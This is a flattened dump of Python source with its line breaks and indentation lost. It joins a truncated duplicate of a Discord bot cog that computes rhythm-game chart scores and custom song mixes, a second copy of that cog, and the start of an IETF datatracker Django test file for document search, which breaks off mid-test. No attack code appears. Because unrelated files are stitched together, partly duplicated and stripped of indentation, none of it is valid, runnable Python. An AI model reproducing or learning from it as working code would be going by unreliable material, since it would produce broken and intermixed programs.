str): if len(args) == 8: a, a_diff, b, b_diff, c, c_diff, d, d_diff = args names = [a, b, c, d] diff_names = [a_diff, b_diff, c_diff, d_diff] elif len(args) == 5: if re.match(r'[1-4]{4}', args[-1]): diff_mapping = {1: 'easy', 2: 'normal', 3: 'hard', 4: 'expert'} names = args[:-1] diff_names = [diff_mapping[int(c)] for c in args[-1]] else: await ctx.send('Invalid difficulty format') return elif len(args) == 4: names = args diff_names = ['ex'] * 4 else: await ctx.send('Invalid argument count.') return songs = [] for name in names: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".', allowed_mentions=AllowedMentions.none()) return if not song.mix_info: await ctx.send(f'Song "{song.name}" does not have mix enabled.') return songs.append(song) diffs = [] for diff_name in diff_names: diff = self.difficulty_names.get(diff_name.lower()) if not diff: await ctx.send(f'Unknown difficulty "{diff_name}".', allowed_mentions=AllowedMentions.none()) return diffs.append(diff) mix = Chart.create_mix(songs, diffs) mix_image = await self.bot.loop.run_in_executor(self.bot.thread_pool, mix.render) mix_name = '\n'.join(f'{song.name} [{diff.name}]' for song, diff in zip(songs, diffs)) note_counts = mix.get_note_counts() now = datetime.datetime.now() self.custom_mixes = {k: v for k, v in self.custom_mixes.items() if (now - v.create_time).total_seconds() < self.CUSTOM_MIX_MIN_LIFETIME} self.custom_mixes[ctx.author.id] = CustomMixData(mix_name, mix, now) buffer = BytesIO() mix_image.save(buffer, 'png') buffer.seek(0) embed = discord.Embed(title='Custom Mix') embed.add_field(name='Songs', value=mix_name, inline=False) embed.add_field(name='Info', value=f'Duration: {self.format_duration(mix.info.end_time - mix.info.start_time)}\n' f'Level: {mix.info.level}\n' f'Ordered: {all(a == b for a, b in zip(get_best_mix(songs), songs))}\n' f'Skills: {', '.join('{:.2f}s".format(t - mix.info.start_time) if t not in mix.info.base_skill_times else "[{:.2f}s]".format(t - mix.info.start_time) for t in mix.info.skill_times)}\n' f'Fever: {mix.info.fever_start - mix.info.start_time:.2f}s - {mix.info.fever_end - mix.info.start_time:.2f}s\n' f'Transitions: {', '.join('{:.2f}s".format(t - mix.info.start_time) for t in mix.info.medley_transition_times)}', inline=False) embed.add_field(name='Combo', value=f'Max Combo: {len(mix.notes)}\n' f'Taps: {note_counts['tap']} (dark: {note_counts['tap1']}, light: {note_counts['tap2']})\n' f'Scratches: {note_counts['scratch']} (left: {note_counts['scratch_left']}, right: {note_counts['scratch_right']})\n' f'Stops: {note_counts['stop']} (head: {note_counts['stop_start']}, tail: {note_counts['stop_end']})\n' f'Long: {note_counts['long']} (head: {note_counts['long_start']}, tail: {note_counts['long_end']})\n' f'Slide: {note_counts['slide']} (tick: {note_counts['slide_tick']}, flick {note_counts['slide_flick']})', inline=True) embed.set_image(url='attachment://mix.png') await ctx.send(embed=embed, file=discord.File(fp=buffer, filename='mix.png')) @commands.command(name='mixrating', aliases=['mix_rating'], description='Returns the rating of a mix. Used internally.', help='!mixrating grgr grgr grgr "cyber cyber"', hidden=True) async def mixrating(self, ctx: commands.Context, a: str, b: str, c: str, d: str): songs = [] for name in [a, b, c, d]: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".') return songs.append(song) rating = calculate_mix_rating(songs) nl = '\n' embed = discord.Embed(title='Mix Rating', description=f'```{nl.join(f'{i}. {self.format_song_title(song)}' for i, song in enumerate(songs, 1))}\n\n' f'Rating: {rating}```') await ctx.send(embed=embed) @staticmethod def format_song_title(song): return f'{song.name}{' (' + song.special_unit_name + ')' if song.special_unit_name else ''}{' (Hidden)' if song.is_hidden else ''}' @staticmethod def format_duration(seconds): minutes = int(seconds // 60) seconds = round(seconds % 60, 2) return f'{minutes}:{str(int(seconds)).zfill(2)}.{str(int(seconds % 1 * 100)).zfill(2)}' class MusicAttribute(enum.Enum): DefaultOrder = enum.auto() Name = enum.auto() Id = enum.auto() Unit = enum.auto() Level = enum.auto() Duration = enum.auto() Date = enum.auto() BPM = enum.auto() Combo = enum.auto() def get_sort_key_from_music(self, music: MusicMaster): return { self.DefaultOrder: -music.default_order, self.Name: music.name, self.Id: music.id, self.Unit: music.unit.name if not music.special_unit_name else f'{music.unit.name} ({music.special_unit_name})', self.Level: music.charts[4].display_level if len(music.charts) == 4 else '0', self.Duration: music.duration, self.Date: music.start_datetime, self.BPM: music.bpm, self.Combo: music.charts[4].note_counts[0].count if 4 in music.charts else 0, }[self] def get_formatted_from_music(self, music: MusicMaster): return { self.DefaultOrder: None, self.Name: None, self.Id: str(music.id).zfill(7), self.Unit: music.unit.name if not music.special_unit_name else f'{music.unit.name} ({music.special_unit_name})', self.Level: (music.charts[4].display_level if len(music.charts) == 4 else '?').ljust(3), self.Duration: Music.format_duration(music.duration), self.Date: str(music.start_datetime.date()), self.BPM: f'{music.bpm:>5.2f}', self.Combo: str(music.charts[4].note_counts[0].count) if 4 in music.charts else '?', }[self] music_attribute_aliases = { 'default': MusicAttribute.DefaultOrder, 'name': MusicAttribute.Name, 'id': MusicAttribute.Id, 'relevance': MusicAttribute.Name, 'unit': MusicAttribute.Unit, 'level': MusicAttribute.Level, 'difficulty': MusicAttribute.Level, 'diff': MusicAttribute.Level, 'duration': MusicAttribute.Duration, 'length': MusicAttribute.Duration, 'date': MusicAttribute.Date, 'bpm': MusicAttribute.BPM, 'combo': MusicAttribute.Combo, } @dataclass class CustomMixData: name: str chart: Chart create_time: datetime.datetime def setup(bot): bot.add_cog(Music(bot))
import datetime import enum import logging import re from dataclasses import dataclass from io import BytesIO from typing import Tuple, Any import discord from d4dj_utils.chart.chart import Chart from d4dj_utils.chart.mix import get_best_mix, get_mix_data, calculate_mix_rating from d4dj_utils.chart.score_calculator import calculate_score from d4dj_utils.master.chart_master import ChartDifficulty from d4dj_utils.master.music_master import MusicMaster from d4dj_utils.master.skill_master import SkillMaster from discord import AllowedMentions from discord.ext import commands from miyu_bot.bot.bot import MiyuBot, PrefContext from miyu_bot.commands.common.argument_parsing import parse_arguments, ParsedArguments from miyu_bot.commands.master_filter.localization_manager import LocalizationManager class Music(commands.Cog): bot: MiyuBot CUSTOM_MIX_MIN_LIFETIME = 3600 # Minimum amount of time in seconds before a custom mix is removed def __init__(self, bot): self.bot = bot self.logger = logging.getLogger(__name__) self.custom_mixes = {} self.l10n = LocalizationManager(self.bot.fluent_loader, 'music.ftl') difficulty_names = { 'expert': ChartDifficulty.Expert, 'hard': ChartDifficulty.Hard, 'normal': ChartDifficulty.Normal, 'easy': ChartDifficulty.Easy, 'expt': ChartDifficulty.Expert, 'norm': ChartDifficulty.Normal, 'exp': ChartDifficulty.Expert, 'hrd': ChartDifficulty.Hard, 'nrm': ChartDifficulty.Normal, 'esy': ChartDifficulty.Easy, 'ex': ChartDifficulty.Expert, 'hd': ChartDifficulty.Hard, 'nm': ChartDifficulty.Normal, 'es': ChartDifficulty.Easy, } @commands.command(name='score', aliases=[], description='Calculates chart score.', help='!score Cyber Cyber diff=ex power=150000 acc=100 skill=50 $assist') async def score(self, ctx: PrefContext, *, arguments: ParsedArguments): def format_skill(skill): if skill.score_up_rate and skill.perfect_score_up_rate: return f'{skill.score_up_rate}%+{skill.perfect_score_up_rate}%p' elif skill.score_up_rate: return f'{skill.score_up_rate}%' elif skill.perfect_score_up_rate: return f'{skill.perfect_score_up_rate}%p' else: return f'0%' difficulty = arguments.single(['diff', 'difficulty'], default=None, converter=self.difficulty_names) power = arguments.single('power', default=150000, converter=lambda p: int(p)) accuracy = arguments.single(['acc', 'accuracy'], default=100, converter=lambda a: float(a)) skill = arguments.single(['skill', 'skills'], default=['40'], is_list=True) assist = arguments.tag('assist') random_skill_order = arguments.tags(['rng', 'randomorder', 'random_order']) if difficulty: song_name = arguments.text() else: song_name, difficulty = self.parse_chart_args(arguments.text()) arguments.require_all_arguments_used() if song_name.lower() == 'mix': data = self.custom_mixes.get(ctx.author.id) if not data: await ctx.send('No recent user mix found. Use the mix command to create one.') return chart = data.chart title = 'Mix Score:\n' + data.name else: song = self.bot.master_filters.music.get(song_name, ctx) if not song: await ctx.send(f'Failed to find chart.') return if not song.charts: await ctx.send('Song does not have charts.') return chart = song.charts[difficulty] title = f'Song Score: {song.name} [{chart.difficulty.name}]' if not (0 <= accuracy <= 100): await ctx.send('Accuracy must be between 0 and 100.') return accuracy /= 100 skill_re = re.compile(r'\d{1,3}(\.\d+)?%?|\d{1,3}(\.\d+)?%?\+\d{1,3}(\.\d+)?%?p|\d{1,3}(\.\d+)?%?p') def create_dummy_skill(score, perfect): return SkillMaster( ctx.assets, id=0, min_recovery_value=0, max_recovery_value=0, combo_support_count=0, score_up_rate=float(score), min_seconds=5, max_seconds=9, perfect_score_up_rate=float(perfect), ) skills = [] for s in skill: if skill_re.fullmatch(s): effects = [(e[:-1] if e[-1] == '%' else e) for e in s.split('+')] skills.append(create_dummy_skill(next((e for e in effects if not e.endswith('p')), 0), next((e[:-1] for e in effects if e.endswith('p')), 0))) else: await ctx.send('Invalid skill format.') return if len(skills) == 1: skills = skills * 5 if len(skills) == 4: skills = skills + [skills[0]] if len(skills) != 5: await ctx.send('Invalid skill count.') return if random_skill_order: # Score calc doesn't care that these aren't actually ints mean_score_up: Any = sum(s.score_up_rate for s in skills[:4]) / 4 mean_perfect_score_up: Any = sum(s.perfect_score_up_rate for s in skills[:4]) / 4 avg_skill = SkillMaster( ctx.assets, id=0, min_recovery_value=0, max_recovery_value=0, combo_support_count=0, score_up_rate=mean_score_up, min_seconds=5, max_seconds=9, perfect_score_up_rate=mean_perfect_score_up, ) skills = [avg_skill] * 4 + [skills[-1]] embed = discord.Embed(title=title, description=f'Power: {power:,}\n' f'Accuracy: {accuracy * 100:.1f}%\n' f'Skills: {", ".join(format_skill(skill) for skill in skills)}\n' f'Assist: {"On" if assist else "Off"}\n' f'\u200b') baseline = None for heading, enable_fever, autoplay, enable_combo_bonus in [ ('Multi Live', True, False, True), ('Multi Live (No Combo)', True, False, False), ('Multi Live (Autoplay)', True, True, True), ('Solo Live / No Groovy', False, False, True), ('Solo Live (No Combo)', False, False, False), ('Solo Live (Autoplay)', False, True, True) ]: score = int(self.bot.chart_scorer(chart, power, skills, enable_fever, accuracy, assist, autoplay=autoplay, enable_combo_bonus=enable_combo_bonus)) if not baseline: baseline = score embed.add_field(name=heading, value=f'Score: {score:,}\n' f'Value: {score / baseline * 100:.1f}%' f'{f" ({(score - baseline) / baseline * 100:+.1f}%)" if score != baseline else ""}', inline=True) await ctx.send(embed=embed) def parse_chart_args(self, arg: str) -> Tuple[str, ChartDifficulty]: split_args = arg.split() difficulty = ChartDifficulty.Expert if len(split_args) >= 2: final_word = split_args[-1].lower() if final_word.lower() in self.difficulty_names: difficulty = self.difficulty_names[final_word.lower()] arg = ' '.join(split_args[:-1]) return arg, difficulty _music_durations = {} @commands.command(name='mixorder', aliases=['ordermix', 'mix_order', 'order_mix'], description='Finds order of songs when mixed.', help='!mixorder grgr grgr grgr "cyber cyber"') async def mix_order(self, ctx: commands.Context, a: str, b: str, c: str, d: str): songs = [] for name in [a, b, c, d]: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".', allowed_mentions=AllowedMentions.none()) return if not song.mix_info: await ctx.send(f'Song "{song.name}" does not have mix enabled.') return songs.append(song) mix = get_best_mix(songs) mix_data = get_mix_data(mix) nl = '\n' embed = discord.Embed(title='Mix Order', description=f'```{nl.join(f"{i}. {self.format_song_title(song)}" for i, song in enumerate(mix, 1))}\n\n' f'Total Duration: {sum(md.duration for md in mix_data):.2f}s```') await ctx.send(embed=embed) @commands.command(name='mix', aliases=[], description='Creates a custom mix.', help='!mix grgr hard cyber hard puransu expert "cats eye" easy') async def mix(self, ctx: commands.Context, *args: str): if len(args) == 8: a, a_diff, b, b_diff, c, c_diff, d, d_diff = args names = [a, b, c, d] diff_names = [a_diff, b_diff, c_diff, d_diff] elif len(args) == 5: if re.match(r'[1-4]{4}', args[-1]): diff_mapping = {1: 'easy', 2: 'normal', 3: 'hard', 4: 'expert'} names = args[:-1] diff_names = [diff_mapping[int(c)] for c in args[-1]] else: await ctx.send('Invalid difficulty format') return elif len(args) == 4: names = args diff_names = ['ex'] * 4 else: await ctx.send('Invalid argument count.') return songs = [] for name in names: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".', allowed_mentions=AllowedMentions.none()) return if not song.mix_info: await ctx.send(f'Song "{song.name}" does not have mix enabled.') return songs.append(song) diffs = [] for diff_name in diff_names: diff = self.difficulty_names.get(diff_name.lower()) if not diff: await ctx.send(f'Unknown difficulty "{diff_name}".', allowed_mentions=AllowedMentions.none()) return diffs.append(diff) mix = Chart.create_mix(songs, diffs) mix_image = await self.bot.loop.run_in_executor(self.bot.thread_pool, mix.render) mix_name = '\n'.join(f'{song.name} [{diff.name}]' for song, diff in zip(songs, diffs)) note_counts = mix.get_note_counts() now = datetime.datetime.now() self.custom_mixes = {k: v for k, v in self.custom_mixes.items() if (now - v.create_time).total_seconds() < self.CUSTOM_MIX_MIN_LIFETIME} self.custom_mixes[ctx.author.id] = CustomMixData(mix_name, mix, now) buffer = BytesIO() mix_image.save(buffer, 'png') buffer.seek(0) embed = discord.Embed(title='Custom Mix') embed.add_field(name='Songs', value=mix_name, inline=False) embed.add_field(name='Info', value=f'Duration: {self.format_duration(mix.info.end_time - mix.info.start_time)}\n' f'Level: {mix.info.level}\n' f'Ordered: {all(a == b for a, b in zip(get_best_mix(songs), songs))}\n' f'Skills: {", ".join("{:.2f}s".format(t - mix.info.start_time) if t not in mix.info.base_skill_times else "[{:.2f}s]".format(t - mix.info.start_time) for t in mix.info.skill_times)}\n' f'Fever: {mix.info.fever_start - mix.info.start_time:.2f}s - {mix.info.fever_end - mix.info.start_time:.2f}s\n' f'Transitions: {", ".join("{:.2f}s".format(t - mix.info.start_time) for t in mix.info.medley_transition_times)}', inline=False) embed.add_field(name='Combo', value=f'Max Combo: {len(mix.notes)}\n' f'Taps: {note_counts["tap"]} (dark: {note_counts["tap1"]}, light: {note_counts["tap2"]})\n' f'Scratches: {note_counts["scratch"]} (left: {note_counts["scratch_left"]}, right: {note_counts["scratch_right"]})\n' f'Stops: {note_counts["stop"]} (head: {note_counts["stop_start"]}, tail: {note_counts["stop_end"]})\n' f'Long: {note_counts["long"]} (head: {note_counts["long_start"]}, tail: {note_counts["long_end"]})\n' f'Slide: {note_counts["slide"]} (tick: {note_counts["slide_tick"]}, flick {note_counts["slide_flick"]})', inline=True) embed.set_image(url='attachment://mix.png') await ctx.send(embed=embed, file=discord.File(fp=buffer, filename='mix.png')) @commands.command(name='mixrating', aliases=['mix_rating'], description='Returns the rating of a mix. Used internally.', help='!mixrating grgr grgr grgr "cyber cyber"', hidden=True) async def mixrating(self, ctx: commands.Context, a: str, b: str, c: str, d: str): songs = [] for name in [a, b, c, d]: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".') return songs.append(song) rating = calculate_mix_rating(songs) nl = '\n' embed = discord.Embed(title='Mix Rating', description=f'```{nl.join(f"{i}. {self.format_song_title(song)}" for i, song in enumerate(songs, 1))}\n\n' f'Rating: {rating}```') await ctx.send(embed=embed) @staticmethod def format_song_title(song): return f'{song.name}{" (" + song.special_unit_name + ")" if song.special_unit_name else ""}{" (Hidden)" if song.is_hidden else ""}' @staticmethod def format_duration(seconds): minutes = int(seconds // 60) seconds = round(seconds % 60, 2) return f'{minutes}:{str(int(seconds)).zfill(2)}.{str(int(seconds % 1 * 100)).zfill(2)}' class MusicAttribute(enum.Enum): DefaultOrder = enum.auto() Name = enum.auto() Id = enum.auto() Unit = enum.auto() Level = enum.auto() Duration = enum.auto() Date = enum.auto() BPM = enum.auto() Combo = enum.auto() def get_sort_key_from_music(self, music: MusicMaster): return { self.DefaultOrder: -music.default_order, self.Name: music.name, self.Id: music.id, self.Unit: music.unit.name if not music.special_unit_name else f'{music.unit.name} ({music.special_unit_name})', self.Level: music.charts[4].display_level if len(music.charts) == 4 else '0', self.Duration: music.duration, self.Date: music.start_datetime, self.BPM: music.bpm, self.Combo: music.charts[4].note_counts[0].count if 4 in music.charts else 0, }[self] def get_formatted_from_music(self, music: MusicMaster): return { self.DefaultOrder: None, self.Name: None, self.Id: str(music.id).zfill(7), self.Unit: music.unit.name if not music.special_unit_name else f'{music.unit.name} ({music.special_unit_name})', self.Level: (music.charts[4].display_level if len(music.charts) == 4 else '?').ljust(3), self.Duration: Music.format_duration(music.duration), self.Date: str(music.start_datetime.date()), self.BPM: f'{music.bpm:>5.2f}', self.Combo: str(music.charts[4].note_counts[0].count) if 4 in music.charts else '?', }[self] music_attribute_aliases = { 'default': MusicAttribute.DefaultOrder, 'name': MusicAttribute.Name, 'id': MusicAttribute.Id, 'relevance': MusicAttribute.Name, 'unit': MusicAttribute.Unit, 'level': MusicAttribute.Level, 'difficulty': MusicAttribute.Level, 'diff': MusicAttribute.Level, 'duration': MusicAttribute.Duration, 'length': MusicAttribute.Duration, 'date': MusicAttribute.Date, 'bpm': MusicAttribute.BPM, 'combo': MusicAttribute.Combo, } @dataclass class CustomMixData: name: str chart: Chart create_time: datetime.datetime def setup(bot): bot.add_cog(Music(bot))
# Copyright The IETF Trust 2012-2020, All Rights Reserved # -*- coding: utf-8 -*- import os import datetime import io import lxml import bibtexparser import mock import json import copy from http.cookies import SimpleCookie from pathlib import Path from pyquery import PyQuery from urllib.parse import urlparse, parse_qs from tempfile import NamedTemporaryFile from django.core.management import call_command from django.urls import reverse as urlreverse from django.conf import settings from django.forms import Form from django.utils.html import escape from django.test import override_settings from django.utils.text import slugify from tastypie.test import ResourceTestCaseMixin import debug # pyflakes:ignore from ietf.doc.models import ( Document, DocAlias, DocRelationshipName, RelatedDocument, State, DocEvent, BallotPositionDocEvent, LastCallDocEvent, WriteupDocEvent, NewRevisionDocEvent, BallotType, EditedAuthorsDocEvent ) from ietf.doc.factories import ( DocumentFactory, DocEventFactory, CharterFactory, ConflictReviewFactory, WgDraftFactory, IndividualDraftFactory, WgRfcFactory, IndividualRfcFactory, StateDocEventFactory, BallotPositionDocEventFactory, BallotDocEventFactory, DocumentAuthorFactory, NewRevisionDocEventFactory, StatusChangeFactory) from ietf.doc.fields import SearchableDocumentsField from ietf.doc.utils import create_ballot_if_not_open, uppercase_std_abbreviated_name from ietf.group.models import Group from ietf.group.factories import GroupFactory, RoleFactory from ietf.ipr.factories import HolderIprDisclosureFactory from ietf.meeting.models import Meeting, SessionPresentation, SchedulingEvent from ietf.meeting.factories import ( MeetingFactory, SessionFactory, SessionPresentationFactory, ProceedingsMaterialFactory ) from ietf.name.models import SessionStatusName, BallotPositionName, DocTypeName from ietf.person.models import Person from ietf.person.factories import PersonFactory, EmailFactory from ietf.utils.mail import outbox from ietf.utils.test_utils import login_testing_unauthorized, unicontent, reload_db_objects from ietf.utils.test_utils import TestCase from ietf.utils.text import normalize_text class SearchTests(TestCase): def test_search(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group=GroupFactory(acronym='mars',parent=Group.objects.get(acronym='farfut')),authors=[PersonFactory()],ad=PersonFactory()) draft.set_state(State.objects.get(used=True, type="draft-iesg", slug="pub-req")) old_draft = IndividualDraftFactory(name='draft-foo-mars-test',authors=[PersonFactory()],title="Optimizing Martian Network Topologies") old_draft.set_state(State.objects.get(used=True, type="draft", slug="expired")) base_url = urlreverse('ietf.doc.views_search.search') # only show form, no search yet r = self.client.get(base_url) self.assertEqual(r.status_code, 200) # no match r = self.client.get(base_url + "?activedrafts=on&name=thisisnotadocumentname") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?rfcs=on&name=xyzzy") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?olddrafts=on&name=bar") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?olddrafts=on&name=foo") self.assertEqual(r.status_code, 200) self.assertContains(r, "draft-foo-mars-test") # find by rfc/active/inactive draft.set_state(State.objects.get(type="draft", slug="rfc")) r = self.client.get(base_url + "?rfcs=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="active")) r = self.client.get(base_url + "?activedrafts=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="expired")) r = self.client.get(base_url + "?olddrafts=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="active")) # find by title r = self.client.get(base_url + "?activedrafts=on&name=%s" % draft.title.split()[0]) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by author r = self.client.get(base_url + "?activedrafts=on&by=author&author=%s" % draft.documentauthor_set.first().person.name_parts()[1]) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by group r = self.client.get(base_url + "?activedrafts=on&by=group&group=%s" % draft.group.acronym) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by area r = self.client.get(base_url + "?activedrafts=on&by=area&area=%s" % draft.group.parent_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by area r = self.client.get(base_url + "?activedrafts=on&by=area&area=%s" % draft.group.parent_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by AD r = self.client.get(base_url + "?activedrafts=on&by=ad&ad=%s" % draft.ad_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by IESG state r = self.client.get(base_url + "?activedrafts=on&by=state&state=%s&substate=" % draft.get_state("draft-iesg").pk) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) def test_search_for_name(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group=GroupFactory(acronym='mars',parent=Group.objects.get(acronym='farfut')),authors=[PersonFactory()],ad=PersonFactory()) draft.set_state(State.objects.get(used=True, type="draft-iesg", slug="pub-req")) CharterFactory(group=draft.group,name='charter-ietf-mars') DocumentFactory(type_id='conflrev',name='conflict-review-imaginary-irtf-submission') DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') DocumentFactory(type_id='agenda',name='agenda-72-mars') DocumentFactory(type_id='minutes',name='minutes-72-mars') DocumentFactory(type_id='slides',name='slides-72-mars') draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) prev_rev = draft.rev draft.rev = "%02d" % (int(prev_rev) + 1) draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) # exact match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # prefix match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(draft.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # non-prefix match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(draft.name.split("-")[1:])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # other doctypes than drafts doc = Document.objects.get(name='charter-ietf-mars') r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name='charter-ietf-ma'))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='conflict-review-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='status-change-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='agenda-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='minutes-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='slides-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) # match with revision r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-" + prev_rev))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name, rev=prev_rev))) # match with non-existing revision r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-09"))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # match with revision and extension r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-" + prev_rev + ".txt"))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name, rev=prev_rev))) # no match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="draft-ietf-doesnotexist-42"))) self.assertEqual(r.status_code, 302) parsed = urlparse(r["Location"]) self.assertEqual(parsed.path, urlreverse('ietf.doc.views_search.search')) self.assertEqual(parse_qs(parsed.query)["name"][0], "draft-ietf-doesnotexist-42") def test_frontpage(self): r = self.client.get("/") self.assertEqual(r.status_code, 200) self.assertContains(r, "Document Search") def test_docs_for_ad(self): ad = RoleFactory(name_id='ad',group__type_id='area',group__state_id='active').person draft = IndividualDraftFactory(ad=ad) draft.action_holders.set([PersonFactory()]) draft.set_state(State.objects.get(type='draft-iesg', slug='lc')) rfc = IndividualDraftFactory(ad=ad) rfc.set_state(State.objects.get(type='draft', slug='rfc')) DocAlias.objects.create(name='rfc6666').docs.add(rfc) conflrev = DocumentFactory(type_id='conflrev',ad=ad) conflrev.set_state(State.objects.get(type='conflrev', slug='iesgeval')) statchg = DocumentFactory(type_id='statchg',ad=ad) statchg.set_state(State.objects.get(type='statchg', slug='iesgeval')) charter = CharterFactory(name='charter-ietf-ames',ad=ad) charter.set_state(State.objects.get(type='charter', slug='iesgrev')) ballot_type = BallotType.objects.get(doc_type_id='draft',slug='approve') ballot = BallotDocEventFactory(ballot_type=ballot_type, doc__states=[('draft-iesg','iesg-eva')]) discuss_pos = BallotPositionName.objects.get(slug='discuss') discuss_other = BallotPositionDocEventFactory(ballot=ballot, doc=ballot.doc, balloter=ad, pos=discuss_pos) blockedcharter = CharterFactory(name='charter-ietf-mars',ad=ad) blockedcharter.set_state(State.objects.get(type='charter',slug='extrev')) charter_ballot_type = BallotType.objects.get(doc_type_id='charter',slug='approve') charterballot = BallotDocEventFactory(ballot_type=charter_ballot_type, doc__states=[('charter','extrev')]) block_pos = BallotPositionName.objects.get(slug='block') block_other = BallotPositionDocEventFactory(ballot=charterballot, doc=ballot.doc, balloter=ad, pos=block_pos) r = self.client.get(urlreverse('ietf.doc.views_search.docs_for_ad', kwargs=dict(name=ad.full_name_as_key()))) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, escape(draft.action_holders.first().name)) self.assertContains(r, rfc.canonical_name()) self.assertContains(r, conflrev.name) self.assertContains(r, statchg.name) self.assertContains(r, charter.name) self.assertContains(r, discuss_other.doc.name) self.assertContains(r, block_other.doc.name) def test_auth48_doc_for_ad(self): """Docs in AUTH48 state should have a decoration""" ad = RoleFactory(name_id='ad', group__type_id='area', group__state_id='active').person draft = IndividualDraftFactory(ad=ad, states=[('draft', 'active'), ('draft-iesg', 'rfcqueue'), ('draft-rfceditor', 'auth48')]) r = self.client.get(urlreverse('ietf.doc.views_search.docs_for_ad', kwargs=dict(name=ad.full_name_as_key()))) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, 'title="AUTH48"') # title attribute of AUTH48 badge in auth48_alert_badge filter def test_drafts_in_last_call(self): draft = IndividualDraftFactory(pages=1) draft.action_holders.set([PersonFactory()]) draft.set_state(State.objects.get(type="draft-iesg", slug="lc")) r = self.client.get(urlreverse('ietf.doc.views_search.drafts_in_last_call')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) self.assertContains(r, escape(draft.action_holders.first().name)) def test_in_iesg_process(self): doc_in_process = IndividualDraftFactory() doc_in_process.action_holders.set([PersonFactory()]) doc_in_process.set_state(State.objects.get(type='draft-iesg', slug='lc')) 